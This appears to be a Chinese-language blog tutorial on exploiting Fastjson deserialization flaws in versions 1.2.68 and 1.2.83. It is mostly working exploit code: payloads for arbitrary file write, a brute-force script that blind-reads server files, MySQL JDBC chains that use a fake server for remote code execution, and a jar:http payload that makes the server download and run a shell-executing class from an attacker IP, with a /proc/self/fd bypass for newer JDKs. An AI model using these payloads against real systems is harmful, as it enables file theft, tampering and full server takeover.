数据流入 WriterOutputStream 后,它本该有自己的内部缓冲区。但因为我们在拼装阶段给它设置了 "writeImmediately": true,这个类一看到有数据进来,会立刻、强制调用底层的 flush() 动作,直接把数据甩给 FileWriterWithEncoding
最终完成写文件。
这样虽然可以生成文件,但是文件却是空的,这里涉及到一个问题就是,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里:
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
这里就可以想到可以利用$ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
demo

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class FastjsonAdvancedRefDemo {  
    public static void main(String[] args) {  
        // 1. 强制放行 Commons-IO 包,防止本地环境由于 expectClass 机制缺失而拦截  
        ParserConfig.getGlobalInstance().addAccept("org.apache.commons.io.");  
  
        // 2. Windows 目标写入路径  
        String targetPath = "D:/pwned.txt";  
  
        // 3. 构造要写入的内容:要求长度大于 8192 字节以测试该 Payload 的极限能力  
        // 这里生成 9000 个字符 'A'        StringBuilder sb = new StringBuilder();  
        for (int i = 0; i < 9000; i++) {  
            sb.append("A");  
        }  
        String fileContent = sb.toString();  
  
        // 4. 完美还原你提供的完整 Payload 结构  
        // 核心难点:利用单引号精确表达 {"@type":"java.lang.String""内容"} 畸形结构  
        String jsonPayload = "{\n" +  
                "  \"x\": {\n" +  
                "    \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +  
                "    \"input\": {\n" +  
                "      \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "      \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +  
                "      \"reader\": {\n" +  
                "        \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +  
                "        \"charSequence\": {'@type':'java.lang.String' '" + sb + "'\n" + // 完美复刻你的畸形设计  
                "      },\n" +  
                "      \"charsetName\": \"UTF-8\",\n" +  
                "      \"bufferSize\": 1024\n" +  
                "    },\n" +  
                "    \"branch\": {\n" +  
                "      \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "      \"@type\": \"org.apache.commons.io.output.WriterOutputStream\",\n" +  
                "      \"writer\": {\n" +  
                "        \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +  
                "        \"file\": \"" + targetPath + "\",\n" +  
                "        \"encoding\": \"UTF-8\",\n" +  
                "        \"append\": false\n" +  
                "      },\n" +  
                "      \"charsetName\": \"UTF-8\",\n" +  
                "      \"bufferSize\": 1024,\n" +  
                "      \"writeImmediately\": true\n" +  
                "    },\n" +  
                "    \"trigger\": {\n" +  
                "      \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "      \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +  
                "      \"is\": {\n" +  
                "        \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +  
                "        \"input\": {\n" +  
                "          \"$ref\": \"$.input\"\n" +  
                "        },\n" +  
                "        \"branch\": {\n" +  
                "          \"$ref\": \"$.branch\"\n" +  
                "        },\n" +  
                "        \"closeBranch\": true\n" +  
                "      },\n" +  
                "      \"httpContentType\": \"text/xml\",\n" +  
                "      \"lenient\": false,\n" +  
                "      \"defaultEncoding\": \"UTF-8\"\n" +  
                "    },\n" +  
                "    \"trigger2\": {\n" +  
                "      \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "      \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +  
                "      \"is\": {\n" +  
                "        \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +  
                "        \"input\": {\n" +  
                "          \"$ref\": \"$.input\"\n" +  
                "        },\n" +  
                "        \"branch\": {\n" +  
                "          \"$ref\": \"$.branch\"\n" +  
                "        },\n" +  
                "        \"closeBranch\": true\n" +  
                "      },\n" +  
                "      \"httpContentType\": \"text/xml\",\n" +  
                "      \"lenient\": false,\n" +  
                "      \"defaultEncoding\": \"UTF-8\"\n" +  
                "    },\n" +  
                "    \"trigger3\": {\n" +  
                "      \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "      \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +  
                "      \"is\": {\n" +  
                "        \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +  
                "        \"input\": {\n" +  
                "          \"$ref\": \"$.input\"\n" +  
                "        },\n" +  
                "        \"branch\": {\n" +  
                "          \"$ref\": \"$.branch\"\n" +  
                "        },\n" +  
                "        \"closeBranch\": true\n" +  
                "      },\n" +  
                "      \"httpContentType\": \"text/xml\",\n" +  
                "      \"lenient\": false,\n" +  
                "      \"defaultEncoding\": \"UTF-8\"\n" +  
                "    }\n" +  
                "  }\n" +  
                "}";  
  
        System.out.println("开始解析由 JSONObject 包裹、带引用且含畸形语法的全量 Payload...");  
  
        try {  
            // 触发漏洞  
            JSON.parse(jsonPayload);  
            System.out.println("解析完成。");  
        } catch (Exception e) {  
            System.out.println("\n[+] 提示:流已成功触发。最后一步转型抛出预期内的异常: " + e.getMessage());  
        }  
  
        System.out.println("请检查文件: " + targetPath);  
    }  
}

这样就可以写入成功

commons-io文件读取

payload

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///Users/d4m1ts/Downloads/a.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

触发流程
第一步:建立文件连接
Fastjson 解析最内层的 jdk.nashorn.api.scripting.URLReader。它通过传入的 file:///Users/d4m1ts/Downloads/a.txt 路径,在底层打开一个指向该文件的文件句柄(字符流)。
第二步:转换流类型
接着解析外层的 org.apache.commons.io.input.ReaderInputStream。Fastjson 把刚刚创建的 URLReader 作为参数,传给 ReaderInputStream 的构造函数。此时,原来的“字符流”被包装成了“字节流”。
第三步:封装过滤器
最后解析最外层的 org.apache.commons.io.input.BOMInputStream。Fastjson 将第二步生成的字节流作为 delegate(代理流)传进去。同时,将你指定的 "bytes": [49](即字符 '1')作为预设的 BOM 头标志。

至此,名为 abc 的这个复合对象在内存中组装完毕。
触发
当 Fastjson 把所有对象实例化完成后,它会处理 JSON 最后的 address 字段。这里才是真正触发文件读取和逻辑判断的地方。

"address": { "$ref": "$.abc.BOM" }

Fastjson 看到 $ref 关键字指向 $.abc.BOM(即 abc 对象的 BOM 属性)。在 Java Bean 规范中,为了获取 BOM 属性的值,Fastjson 会自动去调用 abcBOMInputStream)的 getBOM() 方法。
BOMInputStream.getBOM() 的源码内部,为了判断当前流是否包含 BOM 头,它必须真正去读文件。于是它调用 delegate.read(),顺着链条最终让 URLReader 去读取了 a.txt 文件的第一个字节

  • 情况 A(匹配成功):如果 a.txt 的第一个字符确实是 1(ASCII 码 49),getBOM() 方法会认为“匹配到了正确的 BOM 头”,并返回一个 ByteOrderMark 对象。
  • 情况 B(匹配失败):如果 a.txt 的第一个字符不是 1(比如是 'a'),getBOM() 发现不匹配,就会返回 null

这样就可以通过盲注的方法读文件。
demo

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class FastjsonExploitDemo {  
    public static void main(String[] args) {  
        // 注意:Fastjson 1.2.68 即使不开启此项,只要满足 ExpectClass 也能绕过,  
        // 这里显式开启以便模拟真实环境的 checkAutoType 逻辑  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
        // 构造 Payload,目标读取 D:/flag.txt        
        // 假设 D:/flag.txt 的内容是 "123456"        
        String payload = "{\n" +  
                "    \"abc\": {\n" +  
                "        \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "        \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +  
                "        \"delegate\": {\n" +  
                "            \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +  
                "            \"reader\": {\n" +  
                "                \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +  
                "                \"url\": \"file:///D:/flag.txt\"\n" +  
                "            },\n" +  
                "            \"charsetName\": \"UTF-8\",\n" +  
                "            \"bufferSize\": 1024\n" +  
                "        },\n" +  
                "        \"boms\": [{\n" +  
                "            \"charsetName\": \"UTF-8\",\n" +  
                "            \"bytes\": [49]\n" + // 49 是字符 '1' 的 ASCII 码  
                "        }]\n" +  
                "    },\n" +  
                "    \"address\": {\n" +  
                "        \"$ref\": \"$.abc.BOM\"\n" +  
                "    }\n" +  
                "}";  
  
        System.out.println("--- 开始解析 Payload ---");  
  
        // 模拟服务端解析前端传来的 JSON        
        Object obj = JSON.parse(payload);  
  
        // 模拟服务端将解析后的结果再次序列化返回给前端  
        String jsonResult = JSON.toJSONString(obj);  
  
        System.out.println("--- 服务端返回给前端的 JSON 结果 ---");  
        System.out.println(jsonResult);  
    }  
}

执行结果

--- 开始解析 Payload ---
--- 服务端返回给前端的 JSON 结果 ---
{"abc":{"bOM":{"bytes":"MQ==","charsetName":"UTF-8"},"bOMCharsetName":"UTF-8"},"address":{"$ref":"$.abc.bOM"}}

这说明文件第一个字符是1
如果

--- 开始解析 Payload ---
--- 服务端返回给前端的 JSON 结果 ---
{"abc":{}}

则说明不对。
可以写一个脚本去爆破

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import java.util.ArrayList;  
import java.util.List;  
  
public class FastjsonExploitDemo1 {  
  
    // 构造动态的 JSON Payload    
    public static String generatePayload(List<Integer> knownBytes, int testByte) {  
        // 组装当前测试的字节数组  
        List<Integer> currentBytes = new ArrayList<>(knownBytes);  
        currentBytes.add(testByte);  
  
        // 将 List 转为 JSON 数组格式,例如 [49, 50, 51]        
        String bytesJson = currentBytes.toString();  
  
        return "{\n" +  
                "    \"abc\": {\n" +  
                "        \"@type\": \"java.lang.AutoCloseable\",\n" +  
                "        \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +  
                "        \"delegate\": {\n" +  
                "            \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +  
                "            \"reader\": {\n" +  
                "                \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +  
                "                \"url\": \"file:///D:/flag.txt\"\n" +  
                "            },\n" +  
                "            \"charsetName\": \"UTF-8\",\n" +  
                "            \"bufferSize\": 1024\n" +  
                "        },\n" +  
                "        \"boms\": [{\n" +  
                "            \"charsetName\": \"UTF-8\",\n" +  
                "            \"bytes\": " + bytesJson + "\n" +  
                "        }]\n" +  
                "    },\n" +  
                "    \"address\": {\n" +  
                "        \"$ref\": \"$.abc.bOM\"\n" +  
                "    }\n" +  
                "}";  
    }  
  
    public static void main(String[] args) {  
        // 开启 AutoType 支持  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
  
        System.out.println("[*] 开始纯 Java 内存级文件盲注...");  
  
        List<Integer> knownBytes = new ArrayList<>();  
        StringBuilder knownText = new StringBuilder();  
  
        // 可打印的 ASCII 字符范围主要在 32 (空格) 到 126 (~) 之间  
        // 如果文件包含换行符,可以把循环范围扩大到 0 ~ 255        
        int minAscii = 9;   // 包含 Tab(\t), 换行(\n)等  
        int maxAscii = 126;  
  
        // 假设文件最大长度为 100 字符  
        for (int length = 1; length <= 100; length++) {  
            boolean hitThisRound = false;  
  
            for (int testByte = minAscii; testByte <= maxAscii; testByte++) {  
                // 跳过不常用的控制字符  
                if (testByte > 13 && testByte < 32) continue;  
  
                // 1. 生成 Payload                
                String payload = generatePayload(knownBytes, testByte);  
  
                try {  
                    // 2. 模拟服务端解析  
                    Object obj = JSON.parse(payload);  
                    String jsonResult = JSON.toJSONString(obj);  
  
                    // 3. 根据你发现的布尔条件进行精准判定:  
                    // 如果不包含 "abc":{} 且包含 "bOM",说明匹配成功  
                    if (!jsonResult.contains("\"abc\":{}") && jsonResult.contains("\"bOM\"")) {  
                        knownBytes.add(testByte);  
                        knownText.append((char) testByte);  
  
                        System.out.printf("[+] 成功爆破出第 %d 个字符! 当前内容: %s (当前字节数组: %s)%n",  
                                length, knownText.toString(), knownBytes.toString());  
  
                        hitThisRound = true;  
                        break; // 跳出当前字符的遍历,开始爆破下一个字符  
                    }  
                } catch (Exception e) {  
                    // 忽略反序列化过程中可能出现的流未关闭等异常,继续探测  
                }  
            }  
  
            // 如果遍历了所有 ASCII 码都没有命中,说明文件已经读到了末尾  
            if (!hitThisRound) {  
                System.out.println("[*] 未匹配到更多字符,盲注结束。");  
                break;  
            }  
        }  
  
        System.out.println("\n[+] 最终纯 Java 盲注出的文件内容为: " + knownText.toString());  
    }  
}

这样就可以盲注出文件内容

Mysql JDBC RCE

https://github.com/fnmsd/MySQL_Fake_Server
可以用这个在本地开一个假的Mysql服务。

mysql 5.1.x >= 5.1.11

所需依赖

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->  
<dependency>  
<groupId>mysql</groupId>  
<artifactId>mysql-connector-java</artifactId>  
<version>5.1.11</version>  
</dependency>  
  
<dependency>  
<groupId>commons-collections</groupId>  
<artifactId>commons-collections</artifactId>  
<version>3.1</version>  
</dependency>

payload

{
    "@type":"java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "127.0.0.1",
    "portToConnectTo": 3306,
    "info":
    {
        "user": "CommonsCollections5", // 利用链,自己在MySQL_Fake_Server的conf里面改,具体看他的readme
        "password": "pass",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "NUM_HOSTS": "1"
    },
    "databaseToConnectTo": "dbname",
    "url": ""
}

demo

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class FastjsonMysqlRceDemo {  
    public static void main(String[] args) {  
        // 在某些高版本 JDK 中,可能需要开启原生反序列化支持  
        // System.setProperty("sun.io.serialization.extendedDebugInfo", "true");  
  
        // 构造针对 Fastjson 1.2.68 + MySQL JDBC 的 Payload        
        // 修正了 info 属性的显式类型声明,确保 Fastjson 能正确将其转换为 Properties 对象  
        String pwnPayload = "{\n" +  
                "    \"@type\":\"java.lang.AutoCloseable\",\n" +  
                "    \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +  
                "    \"hostToConnectTo\": \"127.0.0.1\",\n" +  
                "    \"portToConnectTo\": 3306,\n" +  
                "    \"info\": {\n" +  
                "        \"@type\": \"java.util.Properties\",\n" +  
                "        \"user\": \"CommonsCollections5\",\n" + // 匹配你 Fake Server 中的 Gadget                
                "        \"password\": \"pass\",\n" +  
                "        \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +  
                "        \"autoDeserialize\": \"true\",\n" +  
                "        \"NUM_HOSTS\": \"1\"\n" +  
                "    },\n" +  
                "    \"databaseToConnectTo\": \"dbname\",\n" +  
                "    \"url\": \"\"\n" +  
                "}";  
  
        System.out.println("[*] 正在解析 Payload,尝试触发 MySQL 连接...");  
  
        try {  
            // 触发反序列化  
            // 真实场景中,通常是服务端接收到了前端传入的 JSON 字符串进行解析  
            Object obj = JSON.parse(pwnPayload);  
  
            System.out.println("[*] 解析完成: " + obj.getClass().getName());  
        } catch (Exception e) {  
            System.err.println("[!] 触发过程中发生异常(若计算器已弹出则代表利用成功):");  
            e.printStackTrace();  
        }  
    }  
}

执行结果

具体要执行的指令以及其他信息要在fake-mysql-server的config.json里写好
触发流程
输入解析
目标服务器(Web应用)收到你发送的恶意 JSON 字符串,并调用 JSON.parse(payload) 进行解析。
绕过 CheckAutoType
Fastjson 遇到了第一个 @type: "java.lang.AutoCloseable"。由于这是一个接口,且在 Fastjson 1.2.68 中属于合法的期望类(ExpectClass),Fastjson 会放行并将其放入缓存。
紧接着,Fastjson 遇到第二个 @type: "com.mysql.jdbc.JDBC4Connection"。它会检查这个类是否是之前期望类(AutoCloseable)的子类或实现类。
检查通过!因为 JDBC4Connection 继承自 ConnectionImpl,而 ConnectionImpl 实现了 java.sql.Connection,在 Java 中 Connection 继承了 AutoCloseable
属性填充与对象创建
Fastjson 绕过了黑名单,开始实例化 JDBC4Connection 对象。
随后,Fastjson 遍历 JSON 中的其他键值对(如 hostToConnectToportToConnectToinfo),并调用对应的 Setter 方法或构造函数将这些值注入到对象中。
触发连接逻辑
在 Fastjson 为 JDBC4Connection 填充属性的过程中,或者在反序列化结束对象构建时,会隐式地触发类内部的连接初始化代码(例如调用了 connect() 或在特定 Setter 中触发了网络 Socket 建立)。
配置污染
由于你在 JSON 的 info 属性(java.util.Properties)中注入了恶意参数:

  • autoDeserialize=true
  • statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 这些参数直接“污染”了 MySQL 驱动的连接配置。
    向 Fake Server 握手
    目标服务器作为“MySQL 客户端”,主动向你开好的 fake-mysql-server127.0.0.1:3306)发起 TCP 连接并进行 MySQL 协议的握手。
    Fake Server响应
    你的 fake-mysql-server 收到连接请求。根据你在配置中指定的用户名(user: "CommonsCollections5"),Fake Server 会在 MySQL 协议的特定阶段(如执行初始化查询或模拟服务器状态变更时),向目标服务器返回一段精心准备的 二进制 BLOB 数据(这段数据其实就是用 ysoserial 生成的 CommonsCollections5 的 Java 原生反序列化 Payload)。
    拦截器介入
    目标服务器的 MySQL 驱动收到数据后,因为配置了 ServerStatusDiffInterceptor(服务器状态差异拦截器),驱动在处理返回结果时,会触发该拦截器的逻辑。
    触发反序列化
  • 在拦截器内部,驱动发现你开启了 autoDeserialize=true
  • 代码会直接调用 ObjectInputStream.readObject() 来解析 Fake Server 发回的那段 BLOB 字节流。
  • 此时,Java 原生的反序列化漏洞被触发,CommonsCollections5 链在目标服务器本地被解包执行,最终调用 Runtime.getRuntime().exec() 弹出了计算器或执行了任意命令。
Mysqlconnector 6.0.2 or 6.0.3

payload

{
    "@type":"java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy":
    {
        "connectionString":
        {
            "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"
        }
    }
}

demo

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class FastjsonMysql6RceDemo {  
    public static void main(String[] args) {  
        // 构造针对 Fastjson 1.2.68 + MySQL 8.x 的 Payload        // 注意:8.x 的部分版本中,queryInterceptors 与 statementInterceptors 的调用取决于具体的类,  
        // 这里沿用您给出的 url 配置  
        String pwnPayload = "{\n" +  
                "    \"@type\":\"java.lang.AutoCloseable\",\n" +  
                "    \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n" +  
                "    \"proxy\":\n" +  
                "    {\n" +  
                "        \"connectionString\":\n" +  
                "        {\n" +  
                "            \"url\": \"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5\"\n" +  
                "        }\n" +  
                "    }\n" +  
                "}";  
  
        System.out.println("[*] 正在解析 Fastjson 1.2.68 + MySQL 8.x 利用链...");  
        System.out.println("[*] 目标恶意 MySQL 服务应保持在 127.0.0.1:3306 运行。");  
  
        try {  
            // 触发 Fastjson 反序列化  
            Object obj = JSON.parse(pwnPayload);  
  
            System.out.println("[*] 解析成功完成,生成的对象类型为: " + obj.getClass().getName());  
        } catch (Exception e) {  
            // 8.x 在反序列化中由于代理类初始化问题可能在后期抛出 NullPointerException 或 SQLException            // 但这不影响前期连接建立与反序列化 Gadget 的触发  
            System.err.println("[!] 流程解析完毕(若计算器已成功弹出,说明命令执行已成功):");  
            e.printStackTrace();  
        }  
    }  
}

执行结果

Mysqlconnector 6.x or < 8.0.20

payload

{
    "@type":"java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy":
    {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl":
        {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters":
            [
                {
                    "host": "127.0.0.1"
                }
            ],
            "slaves":
            [],
            "properties":
            {
                "host": "127.0.0.1",
                "user": "CommonsCollections5",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true"
            }
        }
    }
}

demo

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
  
public class FastjsonMysql8ReplicationDemo {  
    public static void main(String[] args) {  
        // 构造针对 Fastjson 1.2.68 + MySQL 8.x (Replication 链) 的 Payload        String pwnPayload = "{\n" +  
                "    \"@type\":\"java.lang.AutoCloseable\",\n" +  
                "    \"@type\": \"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\n" +  
                "    \"proxy\":\n" +  
                "    {\n" +  
                "        \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\n" +  
                "        \"connectionUrl\":\n" +  
                "        {\n" +  
                "            \"@type\": \"com.mysql.cj.conf.url.ReplicationConnectionUrl\",\n" +  
                "            \"masters\":\n" +  
                "            [\n" +  
                "                {\n" +  
                "                    \"host\": \"127.0.0.1\"\n" +  
                "                }\n" +  
                "            ],\n" +  
                "            \"slaves\":\n" +  
                "            [],\n" +  
                "            \"properties\":\n" +  
                "            {\n" +  
                "                \"host\": \"127.0.0.1\",\n" +  
                "                \"user\": \"CommonsCollections5\",\n" + // 匹配你的 Fake Server 路由  
                "                \"dbname\": \"dbname\",\n" +  
                "                \"password\": \"pass\",\n" +  
                "                \"queryInterceptors\": \"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" + // 8.x 的新拦截器参数名  
                "                \"autoDeserialize\": \"true\"\n" +  
                "            }\n" +  
                "        }\n" +  
                "    }\n" +  
                "}";  
  
        System.out.println("[*] 正在解析 Fastjson 1.2.68 + MySQL 8.x Replication 利用链...");  
        System.out.println("[*] 请确保你的 fake-mysql-server 已在 127.0.0.1:3306 启动。");  
  
        try {  
            // 触发 Fastjson 反序列化  
            Object obj = JSON.parse(pwnPayload);  
  
            System.out.println("[*] 解析成功,对象类型: " + obj.getClass().getName());  
        } catch (Exception e) {  
            // 8.x 由于代理机制和反射调用较为复杂,在链条末尾极易抛出 NullPointerException            // 但此时 Socket 通信与反序列化早已在底层执行完毕,不影响 RCE 触发  
            System.err.println("[!] 解析流程结束(若计算器已成功弹出,则说明本地复现成功):");  
            e.printStackTrace();  
        }  
    }  
}

执行成功

在1.2.68可以绕过autoTypeSupport = false拦截,原理就是:如果反序列化时传入的类,是代码中预期的某个目标类/接口(即 ExpectClass)的子类或实现类,且该类不在黑名单中, Fastjson 会认为这是安全的并直接允许加载。在 Java 的标准库或常用第三方库中,有一些非常通用的接口或基类,其本身并不在黑名单中,但它们的某些实现类(或 Setter/Getter 方法)内部却包含了危险的操作。所以这个版本漏洞高度依赖第三方库。
修复的话就是推行了SafeMode,直接完全禁用了@type机制。

1.2.83无gadget RCE方法

这个是最近才爆出来的漏洞,看了一下分析
漏洞原理为springboot为了加载内部jar包,实现了LaunchedURLClassLoader,它支持jar协议
我写了一个demo

package fastjson;  
  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.serializer.SerializerFeature;  
  
public class FastJson_Learn {  
    public static void main(String[] args) {  
        String JSON_Calc = "{\"@type\":\"fastjson.Calc\",\"calc\":\"Faster\"}";  
        System.out.println(JSON.parseObject(JSON_Calc));  
    }  
}

这个执行直接报错autoType is not support
这是因为autoType默认用白名单,而我自定义这个类肯定不在白名单里。
而检查用的是checkAutoType函数,检查这个函数里有一段

这里的typeName就是我们的@type内容,fastjson会先用getResourceAsStream去读取这个类的字节。这个函数的参数是我们可控的,所以有必要看一下这个函数
我们看一下getResourceAsStream函数

作用主要是先调用 getResource(name) 找到资源对应的 URL,如果找到了就打开一个输入流返回,找不到或者IO异常就返回 null。所以它不仅仅可以用于加载类,也可以访问url,如果你写一个域名是不可以的,例如https://baidu.com因为String resource = typeName.replace('.', '/') + ".class";会把.替换成空格,这里要用到SSRF一个经典绕过,可以把ip写成十进制,例如127.0.0.1可以写成2130706433,我把我的ip 121.89.81.39可以写成2035896615,所以payload

{"@type":"http://2035896615:2333/probe"}

访问成功(前提是要包装成spring-boot应用,但是这也是真实生产环境中的跑法)


访问的时候后面一定不要只写一个http://2035896615:2333后面要随便拼接一个路经或者只加一个/斜杠也可以,因为源码里写的后面要拼接.class,为了和url地址分割,加一个/
解析器真的向外发起了请求,试图从一个我们指定的 URL 去获取我们的"类",凭借的仅仅是一个恰好长得像 URL 的资源名。这就是一个直接从反序列化器里冒出来的盲 SSRF,而且是在 AutoType 关闭的情况下。
接下来就是进一步利用
所以普通的 http:// 是能用了。那 jar: 链接呢?
这里先补充一下知识点,那就是jar:协议,核心功能是允许程序直接读取或操作压缩包(.jar.zip)内部的特定文件/资源,而无需先手动把它解压出来。
JVM 和类加载器(ClassLoader)需要从压缩包内部提取代码,用的就是 jar: 协议
语法结构: jar:<JAR文件路径>!/<包内部的文件路径>
示例:

  • 读取本地 Jar 包内的图片: jar:file:/app/libs/myapp.jar!/images/logo.png
  • 读取远程 服务器上的 Jar 包(如果底层 URL 处理器支持): jar:http://example.com/plugin.jar!/com/example/MyClass.class
    !感叹号的作用是分隔符,分割jar文件路径和包内部文件路径
    typeName 是我们的 @typeresource 是 fastjson 实际去查找的那个名字。safeMode 和 autoTypeSupport 都是 false
    现在我们手里有两样东西了:一个盲 SSRF,以及一个会去获取我们指定的 jar: 的服务器。但我们能不能让它去运行获取回来的东西?

jsonType

在紧接着的代码里可以看到:如果我们 jar 里的那个类带有 JSONType,fastjson 就会加载它并把它返回,而且这一步发生在那句 "autoType is not support" 之前。

于是计划就变成了:

  1. 让 fastjson 通过 getResourceAsStream 从一个我们可控的地方拿到我们的类。
  2. 因为我们的类带有 @JSONType,fastjson 会加载并创建它。
  3. 当 fastjson 创建实例时,这个类的静态初始化块就会执行,而那段静态代码就是我们的代码。

从 SSRF 到 RCE

最简单的做法是用 jar: 的 URL 形式 jar:http://host/jar!/Class,它指向远程 jar 里的某个类。这样一来,用 jar:http://2130706433:31337/f!/Evil,fastjson 就会下载这个 jar,loadClass 从中定义出 Evil,静态块随之执行。
只要写一个类似这样的恶意类就可以了,包含JSONType

import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class Evil {
    static {
        try {
            Runtime.getRuntime().exec(new String[]{
                "/bin/sh",
                "-c",
                "id > /tmp/fastjson-rce.txt; date >> /tmp/fastjson-rce.txt"
            });
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    public Evil() {
    }
}

编译打包,编译时一定要用jdk8

wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar

javac -cp fastjson-1.2.83.jar Evil.java

jar cf f Evil.class

启动http服务

python3 -m http.server 2333 --bind 0.0.0.0

本地payload

{"@type": "jar:http://2035896615:2333/f!/Evil"}

这样就可以成功了。
但是我真实试了一下,可以看到


日志里可以看到其实是发送了请求的,但是没有执行,我看了一下目标是用JDK17跑的,好像JDK8可以,换一下试试
环境换成JDK8了,可以成功。


payload就是

{"@type":"jar:http:..2035896615:2333.a!.999"}

这个远程的文件名字叫a,类名叫999,这个我是让ai写一个脚本生成的。
在高版本里把://给禁止了,高版本里无法直接加载,但是它已经把jar包给下载了,只需要找到把jar包放到哪里了,那样就可以用file://指向它。
这里就要用到/proc/self/fd
当 JVM 通过 jar:http 下载一个远程 jar 时,它并不是流式读取,而是把整个文件保存到一个临时文件 /tmp/jar_cache<随机>.tmp,打开它,然后在保持打开的同时把这个文件从磁盘上删除。文件从目录列表里消失了,但通过那个仍然打开的文件描述符依然完全可读。在 Linux 上,一个打开的描述符 N 可以通过 /proc/self/fd/N 访问到。

所以在第一个请求下载完 jar 之后,它其实还在那里、还开着,位置类似 /proc/self/fd/11。第二个 @type 就指回它:

jar:file:.proc.self.fd.11!.E11

fastjson 会对它执行 replace('.', '/'),把它变成资源路径 jar:file:/proc/self/fd/11!/E11.class,直接从那个打开的描述符里读出我们的类。它最终加载时所用的名字是 jar:file:/proc/self/fd/11!/E11,而关键就在于——这个名字里不含 ://。那个双斜杠正是 JDK 9 开始在 defineClass 里拒绝的东西。file:/proc/self/fd/... 只有单斜杠,于是我们拿到了执行。
那个描述符编号是未知的。它不总是 11,取决于这个进程当时打开了多少文件。所以我们不去猜,而是做扫描:为每一个候选编号(E10E11,一直到几百)各准备一个特制的类,每个类都命名成与自己那个描述符相匹配,然后一个编号发一个请求,直到某个命中为止。
但是由于jar包的内容是跟文件名挂钩的,也就是E.class的类名必须是【jar:file:.proc.self.fd.<num>!.E】,所以存在一个预测<num>的操作,实战中可能没那么好用。
